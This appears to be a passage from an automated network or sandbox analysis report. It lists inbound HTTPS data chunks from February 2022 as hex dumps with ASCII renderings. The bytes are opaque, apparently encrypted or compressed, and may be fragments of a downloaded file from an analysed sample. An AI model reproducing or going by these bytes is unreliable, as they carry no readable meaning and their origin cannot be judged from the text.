44 bc 38 bb c3 5b db 87 15 65 70 40 d6 ea 3e df 31 49 b4 97 a9 ba 3e df 01 41 b4 97 b1 c2 3e df 91 40 a2 5d 0c c2 3c df 
93 5e 3c 54 d9 d9 db af 52 91 9c 48 51 52 5f 8b da 18 e8 
Data Ascii: Ce64'g3>}j\x~e>66~U&kbA(B#WD+Ua{KRcF]y`7'9Gx@ZE67V[UXhgPi-B8eIp*mVW<YV\[YD8[ep@>1I>A>@]
<^<TRHQR_

2022-02-08 23:07:09 UTC 69 IN Data Raw: d4 5d b6 84 c6 5f bd 4a 41 9f bc cd b1 84 f4 cd b3 8f 35 4b 73 b4 7d 5e f4 44 66 dc 04 51 e4 94 0d 99 ec 16 ed 
8d 6e 5e ec 6d 6e dc 0c 67 9e c9 c4 6c 1c 81 c0 eb dc 9b c2 e0 14 19 8a ec 92 d9 91 ee 98 03 16 a0 dc 31 c4 92 46 c1 cf 
10 0e c5 4d 58 36 c7 46 9d c6 cc c4 d5 c6 ce c8 00 06 41 2f 97 c6 53 2d 9c 08 d1 65 94 f8 ea ad 9c 7f 2a ac 1e 9f 23 2a 
de 94 a1 62 de 16 e9 77 5c e6 fd f5 bc f4 ff fe 7d 04 c4 7c 8d 11 46 34 8d f1 46 fc 86 73 0e fe 46 49 8c b6 4c cb 4c 8d cb 
85 09 ea 8a 79 58 e8 81 b1 10 dc 83 bb ca 2c 88 39 82 2e 8a 34 57 2c 81 f1 a7 27 c9 f5 67 a8 2e 6e a7 ba ac 26 af 72 a0 
24 a4 bc 27 e4 a5 4c 14 04 ad ca d4 17 e5 ce d6 1c 24 3e e5 9e 6c 3e 05 9a a4 35 87 d2 a5 f5 b5 50 ed fc 37 90 de fe 3d 
4a dc f5 f5 ba d7 77 bd ae 51 39 f8 b8 cc e6 90 3a 
Data Ascii: ]_JA5Ks}^DfQn^mngl1FMX6FA/S-e*#*bw\}|F4FsFILLyX,9.4W,'g.n&r$'L$>l>5P7=JwQ9:

2022-02-08 23:07:09 UTC 71 IN Data Raw: 73 e1 48 30 78 24 b8 3b fa 6c ba fb 74 07 7a e9 f6 4f 76 6e 36 4e 74 65 f8 c9 84 76 7a 81 86 74 71 40 01 84 
62 c2 c9 8e e0 02 fa 0c a8 12 78 ec a5 e2 6c 6e ed e6 ee 8e ef 06 fb 46 e4 84 0b 56 ac 81 8c 96 be 83 87 5e f6 8e 01 9e 
e5 8c 0b 44 62 c2 4b 40 de 58 37 b0 d5 10 32 32 9d 09 30 39 58 f9 3b bb 10 f8 39 b3 c5 38 b7 dc 05 2a b5 d7 cb a8 fd dd 
3b b3 7f 15 32 34 bf 14 b0 d4 b3 92 70 e7 31 da 71 af 25 2a 64 2d c5 3f 66 26 04 cf 7d d6 10 4d 35 d4 92 ad 34 1c 99 2f 
7c 19 59 35 fe 51 54 b7 3e 4a d2 f9 7e 7a 1a da 7b 78 11 12 fc 30 09 10 f6 ea f9 1b 74 a2 fc 99 76 aa 29 9b 7d 6f d9 90 
35 6f 19 1e 46 af 0b 9c 0e a6 c3 94 0c ad 0d 13 cc ac 8a e3 d7 2e 6a e9 51 ee 51 a1 51 ec 5a 60 d6 1c 41 e2 9e 1d a1 e2 
56 16 23 aa 52 91 e3 b0 50 9a 2b 32 18 96 ad f2 03 94 a7 
Data Ascii: sH0x$;ltzOvn6Ntevztq@bxlnFV^DbK@X72209X;98*;24p1q%*d-?f&}M54/|Y5QT>J~z{x0tv)}o5oF.jQQQZ`
AV#RP+2

2022-02-08 23:07:10 UTC 87 IN Data Raw: dc 81 de 39 2c 8a 5c 71 29 4a d2 b2 e9 58 9a bf 6b 90 97 bd 60 5e 10 7d 61 d9 e0 46 e3 91 e5 44 e8 50 62 b4 
d3 b0 6e fc d6 32 8e f9 50 f2 95 7b 18 e3 5d 70 e8 f3 df 38 e8 74 1f 02 ea 7f d7 80 0a 6f 55 70 1b e9 95 4b 9d a7 d7 80 32 
53 0a 02 7a 5b 8c 4a 76 59 86 90 86 52 04 d8 86 d0 06 d2 53 d2 0d 17 a3 d9 8f 5f a7 19 01 98 67 0b 83 d0 6a 89 4b dc 
68 82 85 5b a8 83 02 ab a3 63 0f 29 63 58 8d 61 67 da c5 71 65 d1 04 81 75 56 f4 8a 95 42 76 c2 90 c0 96 c6 60 d0 5e cd 
28 d4 d9 0d 22 9c d5 0f 29 54 53 cf 22 d2 1d 8e ad 66 96 6a af 6c 4c 9a a4 24 48 1c ec 36 4a 17 29 c6 41 95 61 c4 c3 97 
68 11 03 19 a3 d1 11 1b a8 1f 93 53 a4 98 63 40 26 50 69 c7 e6 51 eb 27 eb d3 2b 14 69 9b 29 96 21 8b 2b 9d e0 0c db 
8e 62 44 df 0c 82 46 17 07 ca 43 90 c7 d8 41 9b 0f 90 4c 1d 
Data Ascii: 9,\q)JXk`^}aFDPbn2P{]p8toUpK2Sz[JvYRS_gjKh[c)cXagqeuVBv`^(")TS"fjlL$H6J)AahSc@&PiQ'+i)!+bDFCAL

2022-02-08 23:07:10 UTC 89 IN Data Raw: 4c b4 69 bc c7 5c 51 c5 0c 9f 92 06 45 1d 50 4d c2 d1 65 04 00 5a 2b 8e c7 11 ac 42 f7 58 2e 7a bc df e2 4d f5 
5d db 06 72 91 ed 8d 4e 98 5b 92 be 9b d0 da 21 7c 23 51 61 7b c0 cd 61 74 4b 87 fe 93 80 0c b4 24 67 df 20 af 25 f0 23 
6c e6 33 a8 24 20 47 fe e4 e3 cc 0e e3 68 86 49 04 1b 45 8a c7 90 0b 7c b1 13 cb bf 41 0b 40 f7 7c 80 0e 78 9b 63 25 71 
a5 5f 19 fa ed 93 32 17 dc 51 f1 9c 94 85 7a d2 1b 62 99 5d 53 61 b2 68 6d 5d 8e e3 23 0a 69 b0 e0 c9 aa 3b ae 46 4d d8 
85 31 70 e4 b9 ba d0 e4 3b c1 33 27 f8 02 b8 69 37 44 7a aa f4 87 f1 6a ff 0c bf bd f2 87 f1 f2 15 d4 32 31 d6 ff 36 e9 17 
3c 70 ea a1 f2 4c ea 2a b2 48 01 6a 8a 89 be 31 a2 4f c5 f7 61 8c 06 7c 29 c3 e1 0f ea 00 22 84 1a 0f 09 86 42 cd ca 09 
0c 92 2d 0a cf 51 ee 80 87 c9 3d 0a cf 79 e6 80 87 
Data Ascii: Li\QEPMeZ+BX.zM]rN[!|#Qa{atK$g %#l3$ GhIE|A@|xc%q_2Qzb]Sahm]#i;FM1p;3'i7Dzj216<pL*Hj1Oa|)"B-
Q=y

2022-02-08 23:07:10 UTC 91 IN Data Raw: 01 fe 07 a6 8e 19 e4 ee 80 9e ac ea ab a4 bb d6 97 ec 80 90 94 20 c6 d9 57 e3 05 58 1f 64 e5 8b 98 9c de 3b 
6d 16 96 37 ef fe 92 bc 2f b3 b9 7f ec 70 91 9c 63 38 95 17 2b 33 be 4b b5 f1 7d ca fd 76 9d 19 05 4d 2d c9 8e 05 60 e2 
4d c6 a3 0a 49 4d 63 06 01 5e 48 0a 3e 62 74 8c ce 61 f1 76 49 81 22 c3 96 0a 6a 86 bd c9 a9 45 3c 80 66 86 7f b2 93 06 
34 7d 60 84 08 7e e5 7c 8f 9e 36 cd a8 15 7e c0 29 29 e9 20 b2 61 d2 66 b1 d7 07 e3 f9 50 e7 30 73 18 f2 bb 3b 15 73 87 
ac f5 d0 cf 97 b3 d3 78 58 38 9b 35 73 fb 58 f6 58 e5 c8 34 9b 6f 80 39 b0 79 10 fb 73 31 14 74 3d ae f3 f7 b7 e6 6b 04 3d 
ae c3 ff b7 e6 73 7c 3d ae 53 fe a1 2c ce 7c 3f ae 51 e0 3f a1 11 da e3 15 c9 51 43 17 42 1f 8c 54 c9 51 4a 26 11 96 89 
ad d1 9c 02 ed 2e 97 c1 5a ee 67 c2 5a 95 a8 01 99 56 
Data Ascii:  WXd;m7/pc8+3K}vM-`MIMc^H>btavI"jE<f4}`~|6~)) afP0s;sxX85sXX4o9ys1t=k=s|=S,|?Q?QCBTQJ&.ZgZV

2022-02-08 23:07:10 UTC 101 IN Data Raw: ca 19 67 77 da 93 a7 7d 55 dd 29 62 1f 43 da 49 d2 9e 19 8a 94 9d d5 cc 76 a1 e9 f0 fd e9 6f db b5 67 70 54 
fd e1 8b df b3 77 78 5e f9 f8 bb 8d d2 c2 77 4e 11 e8 a5 8f d2 2b ed 82 5d 63 e9 ca 4d e9 29 c0 07 77 da eb 96 ba 19 28 
d0 b9 d5 6e fa 84 e9 52 b2 48 62 1c 24 bb 49 38 f6 78 8a 12 d2 ba 49 d1 9a b7 c6 99 9e ff d6 13 5e f5 9c 8d ad de 1b 44 
6e 1d 5d 47 a2 5b 21 7a 9e 67 aa 34 08 94 21 7c 04 bf 66 b3 c7 7c 4c cc 05 bf 8f 84 08 30 c7 80 40 20 4d 40 4a 6a d3 b3 
61 64 1f 70 a2 22 1c bc e4 e1 dd 7f 27 6a 93 f1 d4 41 00 3e 17 82 46 3d db c4 6a ff 18 07 40 a8 da c4 83 e0 d7 4b cb e4 
9f 5b 41 24 95 d4 0f aa 8a 9e 91 59 a1 30 4e 9a 62 76 4d 56 24 d5 70 6a 18 5e 38 ec 33 d1 70 6a c8 99 e6 75 49 d3 71 
b6 9a 5c 3f 30 69 d7 77 3c 42 bd a6 ff 81 97 28 3d 42 54 60 
Data Ascii: gw}U)bCIvogpTwx^wN+]cM)w(nRHb$I8xI^Dn]G[!zg4!|f|L0@ M@Jjadp"'jA>F=j@K[A$Y0NbvMV$pj^83pjuIq\?
0iw<B(=BT`

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:10 UTC 109 IN Data Raw: 1d ee 2e 82 53 5d ec ca 46 61 3a f6 b5 a6 f9 be ae e0 fa 72 e8 ad 39 b1 2b 22 71 37 30 a9 39 b9 1b e1 2c 85 
cd c7 df 42 0e 8f c4 04 0d 39 7f 8b 45 b5 84 00 0d 23 97 8a 45 ee 11 7a 46 d2 c7 52 b5 15 04 1a ae 53 07 ac 33 dc 4f 20 
b0 57 07 b6 ab dd 4f 7b 2d 2d 4c 47 fb 3f bf 80 38 77 a4 c6 3b c1 23 49 73 45 d0 c2 3b d3 f3 49 73 5d d8 75 a5 6f 2b b2 
66 27 30 f4 65 91 df 7e 2d 07 1c f5 65 89 3f c9 b3 bf d3 0e 70 f7 c8 48 73 41 13 c3 3b d5 f8 48 73 5b d3 74 a5 79 3f b3 66 
31 24 f5 65 87 e3 bf 91 af 1f 34 d1 08 f8 b7 12 83 b0 33 f9 0c f8 bf 7a 83 b0 3b a1 08 f8 af 6a 83 b0 23 b9 08 fa a4 5e f3 
71 ec da 10 fa a6 5d f7 09 2d 15 73 fa a6 5f f4 1d 4d d4 bc 99 b6 5f f6 1e 51 bc dd 65 66 80 e1 ee 2e 06 ca 65 6e a1 2d 
8e ad 2e 65 00 8e a1 2d 86 9d 2a 65 10 86 a1 2d 9e 
Data Ascii: .S]Fa:r9+"q709,B9E#EzFRS3O WO{--LG?8w;#IsE;Is]uo+f'0e~-e?pHsA;Hs[ty?f1$e43z;j#^q]-s_M_Qef.en-.e-*e-

2022-02-08 23:07:10 UTC 111 IN Data Raw: 06 89 9a c8 82 a3 2b f4 be 9f a9 8e 7b 5c 6a 4d fd 16 af cf b5 14 24 87 2a f3 f7 0c 62 44 10 d7 e9 0c af 30 0a 
83 e7 87 ed 68 65 1b ed 67 50 19 29 1c 93 da ea df 5f 8c e9 dd 75 4c d5 df b5 4e 2b 9c 76 8d e8 2c b0 cd eb ed 98 18 15 
2e 5a db d6 9e 9c 9b d5 5e b4 52 2b 9d 77 90 e8 2d bc d0 eb ea f6 11 1b e9 f6 6a c8 2a 35 a9 c8 25 75 90 08 93 95 e1 ca 
68 47 57 14 93 d5 95 a2 48 9c 17 63 89 9d 7c 5e 3f 51 8c 5d 7c eb 4d 61 b0 bc 4e e3 fa 7f be e0 fa 04 6d 23 39 c7 6d 2c 
36 4c 27 b3 d1 87 a8 f9 56 60 73 b3 c1 87 a0 25 54 13 2b 6d 7b 98 6b 42 98 68 73 b2 ad 2e 62 7e ea 83 a0 bd 29 08 ee 
07 e2 40 62 3c 65 08 f6 f7 ea 40 3a b1 e0 8c 7d 68 22 4f be 28 18 8b 72 64 52 48 b1 a7 e5 fd 8d ad 52 5a b1 a7 e5 d6 8d 
ad 52 2f b1 a7 e5 c9 8d ad 52 1a b1 a7 9e 5c 7a 65 5d 9f 
Data Ascii: +{\jM$*bD0hegP)_uLN+v,.Z^R+w-j*5%uhGWHc|^?Q]|MaNm#9m,6L'V`s%T+m{kBhs.b~)@b<e@:}h"O(rdRHR
ZR/R\ze]

2022-02-08 23:07:10 UTC 113 IN Data Raw: 6d 0e bc 44 ae 4e 86 88 62 02 5e 4a a1 c1 16 9e 27 89 1a 10 6f 8c 90 58 60 88 17 bf 83 4a d4 7c 40 61 af 5a 
7c 5d e9 59 b0 1b 87 9a 73 d8 08 d4 f5 23 8a 9c e1 a9 c2 91 ca 0b f9 ad f6 21 71 91 ca 1d 39 55 41 53 af ae cf 1b aa 24 
87 14 e0 a2 7c 3f 6f 60 bf fc 45 91 83 c0 79 d9 57 4f 37 57 74 c1 7f 52 fe 89 70 79 bf bc 4c 45 f9 bf fa ed 7e f7 44 ce f1 b9 
c2 35 7b f1 cf b7 33 e5 e4 43 0a d9 d8 6b 9b 91 0c e4 d5 1f 2f 6a 9d 1a a5 22 92 31 f6 1a ae 0d b0 19 18 8f 37 51 a6 ac 
b8 1f 20 57 32 57 2d d5 7a 43 06 ab 45 7f 3a 83 ae 37 ee 0c e0 b9 cd 82 a8 bc 47 ca a7 97 06 0d 64 54 40 0e d2 80 c7 
46 6c a3 48 08 ea 58 c2 40 e7 da 8a 54 cc d2 b3 68 f0 94 b0 df 0d 1f f8 59 3e 94 c4 df 15 a8 c1 54 55 ab 3a df 1f 2d 09 5d 
e7 1b c5 1c 7f 25 f9 20 04 e1 3a e3 c7 6e 74 7c 20 
Data Ascii: mDNb^J'oX`J|@aZ|]Ys#!q9UAS$|?o`EyWO7WtRpyLE~D5{3Ck/j"17Q W2W-zCE:7GdT@FlHX@ThY>TU:-]% 
:nt| 

2022-02-08 23:07:10 UTC 129 IN Data Raw: 94 05 47 9b bc dc 0f a8 94 1a 72 62 57 d9 b1 e9 1f d5 9a 5d f0 17 59 15 f5 3f 9f 6e 21 fc 5c ad aa b4 c3 4a 39 
3f 8b e5 de 9c 00 ad 69 7b ab 26 29 7c 48 a4 b5 fe d5 26 2b 7c 4a ba 2b 73 0a 00 f4 b0 bc cd b4 0a 5f 0e 02 c1 5b cf ce 
02 98 0c e6 c7 9c cd 36 04 5f 0e c6 07 5f 01 c9 08 d4 4b 56 ef 1f c0 1c 58 f8 13 88 d3 b8 3c 6b 9b 02 f7 23 2a c9 79 6b 39 
46 31 72 b2 0e 2b 8a 8f b8 e3 08 c5 03 28 23 83 d8 eb e0 ab 33 c0 09 70 f0 03 87 38 f1 43 bc 04 47 8c 3e 4e f6 47 b5 06 
e6 cd fd 0e ce 04 7f 44 77 cf f5 0c 67 44 bd 04 4c e4 67 c7 8f 6f 2f 58 68 9c a4 10 df 7b 5f 9b 9f 7c bc 07 9f 73 b3 08 14 
39 2c ef df b2 66 58 38 61 f2 d3 78 4e 71 58 30 54 fa 16 bf b3 19 9c f7 88 92 d4 c6 a3 4f 11 05 60 09 12 b3 92 82 5c 24 75 
61 d7 6c 7d 4a 91 aa be 89 1a e4 31 6e f9 ac 
Data Ascii: GrbW]Y?n!\J9?i{&)|H&+|J+s_[6__KVX<k#*yk9F1r+(#3p8CG>NGDwgDLgo/Xh{_|s9,fX8axNqX0TO`\$ual}J1n

2022-02-08 23:07:10 UTC 131 IN Data Raw: 13 c0 0e 00 2f fc 32 cc a9 ba 31 71 38 3c 79 71 70 fd fb 39 bd 7f c7 3d 33 31 72 fa b9 fd 1e f1 32 3d 15 73 7a 
3f 9e b3 71 b0 d6 b9 33 92 ea 85 0f 5e a0 4c 84 1e a1 8b 0e 1c 8b 54 89 e4 77 eb 85 62 31 e1 32 b8 b6 23 fb f0 77 61 1a 
cc 4b 5d d6 ce 60 82 5d 80 f1 45 da c8 fa 03 d9 7e de 84 91 ba 5c b8 90 31 1c bd 57 b7 e4 ae 9b f8 55 92 a7 c4 de da af 
ef 3d 0a 6c 2c 75 de 47 ca 92 1d 84 41 da 09 af b3 09 ca 6c f3 32 f6 db 20 bd be db ab f5 aa 50 e3 fd 81 e9 31 3e 42 c1 f0
ce 41 4a b8 51 a6 c9 33 19 09 2e b8 92 41 99 5f 01 ca d9 58 e2 48 45 da 7f d4 45 d5 f4 9e da 32 3f 15 90 85 d8 c6 1b cf 
67 21 c0 59 e5 b4 42 cd 6e fc 6d 46 2e d3 fe 06 d4 10 70 4e ef 9b 38 57 59 48 b3 1f 50 c2 fb 0c 7b ca 1f cf b8 e0 9d 0d 7b 
23 dd f4 b8 94 f0 7f f0 86 7b 31 7e ad 50 03 98 
Data Ascii: /21q8<yqp9=31r2=sz?q3^LTwb12#waK]`]E~\1WU=l,uGAl2 P1>BAJQ3.A_XHEE2?g!YBnmF.pN8WYHP{{#{1~
P

2022-02-08 23:07:10 UTC 133 IN Data Raw: f4 28 3a 02 c9 1d 06 3e 81 06 40 3d 4d 40 4c fd 8e 83 c7 b3 00 d7 4d fb 15 fc 5a 26 d6 3f 12 3d 90 3c de 7b 
e3 fc 1d b8 68 b2 93 d4 e3 fa 87 ff 9e 27 44 3c d6 3c 02 3f 1a 7a 50 ff d9 b9 18 7b 12 f1 15 31 a4 85 97 cb 21 4e dd 7d 7d 
82 8b 7f 37 0c ab f4 79 82 c7 df ec bd fb e3 6b f3 53 3b ec bb 58 40 bc 5c d2 11 3e 68 f8 93 fe 7a fa aa 39 32 f3 a8 13 ee 
33 ba bb ff ec 3d 53 f6 6a c5 5d 48 90 43 b5 62 1f 0d 33 36 94 43 bd 62 16 0b ab 49 35 c3 68 8a 7d d8 2e 89 b1 9e cb 49 
72 5d 44 07 f4 31 cf 49 7a 5d 4d 01 6c 76 48 c9 af b5 00 d2 e9 b6 cc 94 26 76 0f 57 0e b6 88 1f 23 fe 3e 73 a4 b6 80 27 
2f f8 0e 4b 13 f5 8c 77 1f 73 c4 53 55 c5 68 d4 bd e0 ea 9c aa cb df 73 69 08 97 68 2f 0b 5b 2e 30 ca 98 ed bb 84 0e 81 
30 ca 80 d5 bb 6a 9d 5f 1b 56 16 15 85 72 3d bf b4 
Data Ascii: (:>@=M@LMZ&?=<{h'D<<?zP{1!N}}7ykS;X@\>hz923=Sj]HCb36CbI5h}.Ir]D1Iz]MlvH&vW#>s'/KwsSUhsih
/[.00j_Vr=

2022-02-08 23:07:10 UTC 135 IN Data Raw: ed 0d 1b b9 67 4d 19 86 ed 0d 18 b9 63 43 cf e8 ed 0d 00 ba c5 d2 82 f2 07 d0 a7 2a 89 9e 2d 15 c1 95 3f 3e 
81 b7 fd f6 84 35 b7 37 0a 7b 26 08 42 49 1a 01 f8 6a 91 a1 30 e1 d9 21 e3 6a 97 ee a8 ed 6d 2e 16 20 ea c6 d6 d0 fb 4c 
d4 f3 3a 67 3d 27 f8 a4 75 a3 33 2f 3d ab 79 af f6 80 82 6f 35 43 72 6c be 0b ed 8b 4d 80 a5 3c aa 7b 2e 7c ad 98 b2 7c 
a2 97 39 36 3d 70 f2 bd 77 c7 15 6e e3 4c 55 41 00 bc 4d ca 48 85 c6 82 7a 0e 3e 8b cd c4 15 7f e2 f8 29 39 e1 4e e5 c3 
3d f9 20 39 a0 32 ec 6e a0 78 70 a5 50 7b fb ed cf 9c 08 66 87 2b ef 9d 0c 6b e8 7e 90 6b 6f 36 52 e4 27 3f d9 ac 35 b9 
21 6e 88 7c 5a ac 4b bf 99 ac f5 78 d9 a7 c9 78 5b e9 4a 44 d0 49 41 cf 98 c8 92 44 d6 1f d9 ce 9e 9d 0a 41 d0 52 41 b1 
d3 d4 07 b2 6e 0f 88 5a 67 8d c0 95 b5 77 09 21 bd c6 1b 
Data Ascii: gMcC*-?>57{&BIj0!jm. L:g='u3/=yo5CrlM<{.||96=pwnLUAMHz>)9N= 92nxpP{f+k~ko6R'?5!n|ZKxx[JD
IADARAnZgw!

2022-02-08 23:07:10 UTC 137 IN Data Raw: 9f 71 1a 2d 20 65 32 e8 24 a1 f0 2b e7 62 00 28 6c 2a 9f cf 9f a1 d7 78 78 22 5c 38 7f c1 c0 38 70 ce 4b 78 5f 
25 cc 30 56 0e 2f 0f 6a 32 a4 47 e8 e1 54 56 6a a3 76 6a 56 9f ba ed 1c 54 31 a5 9e 87 cb 76 52 d1 ca 3c 80 5a 8a 3b 6b 
5a 01 73 6c d1 4b e8 a7 5a 01 5b 74 d1 4b e0 af 47 c9 75 2d d3 42 3b 86 a8 c9 79 a9 5b 0b ba 6a d0 4b 1d 8d 5b 88 96 
c3 dc 6f 05 4c 94 56 8e 06 13 b1 0d 8d 5d 37 2e 06 15 05 a5 4c 92 e2 5e c7 dc 64 2d 48 92 ea 6e c3 d8 6d 89 30 53 23 
0f 0b dc 6d 88 ec 77 e6 c2 6b 90 0d 49 25 16 06 c2 6b 80 5d 49 25 0e 8e c2 6f 89 69 21 44 fb 56 1d 78 bd 55 d1 3e 74 93 
12 fd 0f 06 84 6b 99 89 ca ed a2 02 82 e0 96 ef ca d9 94 c3 16 19 ad 44 5e 2d 2b ec 6b f2 a9 a4 7e d9 4f 55 bd 1a 07 4e 
fb 19 cb 08 a8 de 08 cb 23 90 9e b8 a8 d8 93 93 a4 f8 af af 
Data Ascii: q- e2$+b(l*xx"\88pKx_%0V/j2GTVjvjVT1vR<Z;kZslKZ[tKGu-B;y[jK[oLV]7.L^d-Hnm0S#mwkI%k]I%oi!
DVxU>tkD^-+k~OUN#

2022-02-08 23:07:10 UTC 139 IN Data Raw: df e7 d3 90 f4 38 35 ac c8 04 f9 e6 0c 8e b1 63 df c6 7e a3 54 66 7b 2d 1a b1 3c a3 e2 ab 82 5e 65 e3 a0 d4 
2d 66 73 55 65 a9 18 d7 2d 68 92 eb 2b e2 5e 87 24 69 10 50 af eb 58 53 24 2b 4b 1b 25 a0 49 32 fa 46 75 0e c6 8a f2 46 
c7 08 b8 87 4d 48 b9 40 c3 b0 93 ff ca 3f db 58 2d cc 5d 1e 2e 7b bc 9c 66 b2 3e d4 65 39 fe df 2d 3b 75 dd 07 e4 93 e1 
3b d8 5f 66 73 da dd 2c b2 54 93 bd 75 12 99 0b 68 52 9c ca e3 12 98 01 68 52 98 c6 e2 6e 98 4d de 60 54 0b 52 5c 68 
37 d9 12 e7 d0 3a 39 d0 e1 06 05 5b af 89 e2 b8 25 c1 f6 93 35 05 35 50 be 4b ba b7 5d 60 70 99 61 5c 80 9a ee 12 1f 7d 
6d 98 57 e5 9e 12 1f 4d 65 98 57 fd e6 12 1f dd 64 8e 9d 40 e6 10 1f df 7a 10 10 54 32 17 9b 1e a9 dc 10 54 1a 0f 9b 1e 
a1 d4 0d 9c 34 56 99 17 7a fd fb 9c 38 d2 88 5f fb 11 c0 85 
Data Ascii: 85c~Tf{-<^e-fsUe-h+^$iPXS$+K%I2FuFMH@?X-].{f>e9-;u;_fs,TuhRhRnM`TR\h7:9[%55PK]`pa\}mWMeW
d@zT2T4Vz8_

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:10 UTC 141 IN Data Raw: bc 11 5f 39 7f d2 b7 09 f9 22 af 8b e9 01 2d b7 e2 83 11 be 68 23 18 31 26 ec 53 8a c6 6e 1b 48 8e 66 53 5b 
9e 4d 1b 56 1c 5d 3b d4 fc 4e b9 1c fc cc 85 15 7b 84 9c 97 31 46 12 d9 bb 79 a8 c7 31 31 a5 ec a0 19 99 d0 2b 5f a5 67 
e5 d4 eb e8 02 37 60 a0 16 1c 8f 63 d5 df 7f 56 5e 91 f0 b1 bd ba 53 97 81 86 1b 92 0a ce 84 75 99 45 cc da 7e de 47 92 
c9 39 e4 19 81 86 03 b2 0a c6 04 31 88 5b 04 3e 87 54 8f 76 46 db c7 b4 c9 93 4d 7f 46 db df ac cd 91 1d 27 85 10 d6 ac 
cf 92 1d 27 87 13 ce ac cd 91 1d 23 87 50 92 69 0e 9b 1d 23 9f 48 1d 2c 90 47 9e bc 1b 07 b1 5f 90 4f a8 d4 68 46 1f 1e 
43 80 08 22 7f c6 0b 94 ba 86 ab 5f 79 76 a8 d4 39 71 4b 4c 39 7e c0 06 a6 99 0b 92 2d d9 24 71 a6 91 3d 39 74 1a 75 
03 48 1b 8f 93 8f a5 40 18 c7 ad 6b 10 ee 91 57 56 ed 27 e2 
Data Ascii: _9"-h#1&SnHfS[MV];N{1Fy11+_g7`cV^SuE~G91[>TvFMF''#Pi#H,G_OhFC"_yv9qKL9~-$q=9tuH@kWV'

2022-02-08 23:07:10 UTC 173 IN Data Raw: 1c 9e 36 7e b4 19 ce 4e 0a fe 44 ee 0f 75 0a 51 e8 c6 88 b9 f5 4d c6 76 76 c6 88 89 7a 4d c0 85 51 2f de b9 
6d a4 9e bd b6 2f a2 b5 00 03 29 fb 8e 48 02 b7 90 74 3e ff 95 5e fa 38 56 9d 75 76 b8 6b 79 4a 84 43 93 0a bf 81 25 c7 
94 07 f8 04 57 88 b6 ea 5e 55 75 29 76 80 5e ad ab 43 9d e5 b0 05 9e 29 f6 63 5e ea 35 ec 10 04 64 30 d3 c7 ef 7e 5c 20 
6c f1 16 8f 8b 02 3d cb 86 3e 01 83 9d 78 02 4f db 3e c2 8c 18 b5 8c 03 ff 36 76 45 cc e2 b5 86 7a 09 3f ce 6d 22 e8 df 51 
1e a0 c4 17 1d 6c 82 88 dd af 41 07 93 21 0a 8c dd b6 ed 0f 53 fe ea 84 1b f3 c1 11 03 cf fd 39 d9 b6 3f fa 1a 75 14 63 3e 
49 28 ec 70 cf 63 66 38 d8 e8 2e 35 f3 08 0f 09 cf 40 14 4f cc 8c 52 af 0c 4f 91 25 ac 4a 1a 6b 63 c9 91 25 e4 2e 22 ae aa 
e9 29 25 e4 67 62 ae ac 74 e9 e4 2b 93 02 cf 24 
Data Ascii: 6~NDuQMvvzMQ/m/)Ht>^8VuvkyJC%W^Uu)v^C)c^5d0~\ l=>xO>6vEz?m"QlA!S9?uc>I(pcf8.5@ORO%Jkc%."
)%gbt+$

2022-02-08 23:07:10 UTC 175 IN Data Raw: 90 5d dd bd 53 d6 93 2b f0 5d dd a5 4b 76 66 b2 77 4a 2e a9 31 49 e2 ef d8 8f 21 2c 57 c1 a7 f7 dc 8f 31 7c 
57 c1 bf 8f 7c 5f a8 b3 40 17 b3 f5 43 db f5 39 85 18 36 b2 cb 8f d1 01 40 c1 5f ba 6b 97 6c 86 57 df 77 c0 54 13 31 f4 93 
d0 f2 7b dd 57 15 c8 56 19 83 e3 dd 57 0c 04 6e 7c 33 78 52 40 7b 63 14 43 b7 25 0d 84 74 e6 86 ca e3 01 35 41 ad 8e 
d2 f2 86 12 e1 ce ba 5a fa 88 b9 96 bc 8a 7e 55 7f 05 30 d2 98 b6 bb 9c 0e 45 30 d2 81 a2 83 f9 84 de bf c5 cc c5 f9 c6 
00 83 9e 01 c3 40 15 4f 55 0b 9e 01 db a8 b5 e9 e8 94 89 a1 f3 d2 8a 6d b5 9c 4d ae 76 13 03 28 3d 98 4d be fe 13 03 
30 b5 38 54 4c 89 04 1c 57 cf 07 d0 11 7e c0 13 d2 f5 8e 85 99 7e c0 0b d2 55 fa 27 ee 69 b2 3c a8 6a 7e 7a 30 ad bd b9 
bf e3 3b f2 34 ad ad 79 bf e3 23 32 94 42 5f 0e a8 0a 44 48 
Data Ascii: ]S+]KvfwJ.1I!,W1|W|_@C96@_klWwT1{WVWn|3xR@{cC%t5AZ~U0E0@OUmMv(=M08TLW~~U'i<j~z
0;4y#2B_DH

2022-02-08 23:07:10 UTC 177 IN Data Raw: c9 8c 36 19 8f c0 f4 da 4c 88 30 51 04 04 e3 de 4c 81 30 55 04 17 54 da 4c 99 40 32 4c d3 c6 06 04 16 8c 98 
00 fe 8c d2 9e aa c6 54 52 ec de e9 b3 6b 96 f9 fb a9 1d b9 f9 6e 57 78 7b 26 94 f2 3b 25 53 70 71 e7 d8 3e e0 20 56 70 
6a e7 dc 4c 63 51 fe c7 2b c7 3a 40 63 cf c2 9c dd 18 8a 5e 5f 24 88 d5 11 ae 4f 9f d0 25 01 0e 17 a2 f9 c2 a8 8d 72 8a 
26 51 3a 9a de 8c 84 4a 5c c4 47 76 5d 4a 09 f5 9a 00 cb 7e d4 8a 0c 86 01 35 22 0d 4f bb 76 26 8e ab 4a 1a 05 e5 c4 1e 
2e df d5 22 12 50 9b a4 f6 db d5 32 f2 50 9b bc a6 7b 80 b4 9a 47 c6 b7 56 01 d0 74 95 c2 5f 3a 13 de d4 74 85 12 5f 3a 
0b 26 74 46 03 1a 48 00 00 d6 0e 7f c3 15 cd f0 8d 93 a1 7b c3 05 f5 f0 8d 8b c1 db 64 98 fd e7 22 9b 31 a1 42 58 f2 62 
cd 16 74 36 46 58 e2 32 cd 16 6c fe e6 c4 7f c2 da 82 7c 
Data Ascii: 6L0QL0UTL@2LTRknWx{&;%Spq> VpjLcQ+:@c^_$O%r&Q:J\Gv]J~5"Ov&J."P2P{GVt_:t_:&tFH{d"1BXbt6FX
2l|

2022-02-08 23:07:10 UTC 179 IN Data Raw: a7 f4 25 d8 ef ef 63 db 23 a9 6a 19 e0 6a e1 57 76 76 6a 19 f8 92 41 69 8f ae 7d 21 94 e8 7e ed d2 98 bc 2e 
11 13 f2 b8 25 98 bc 36 d9 b3 e3 41 e5 8f ab 5a a3 8c 67 1c fc 4e a4 df b2 dd 66 54 fc 53 62 7f e5 5f 5e 43 a5 e1 42 80 
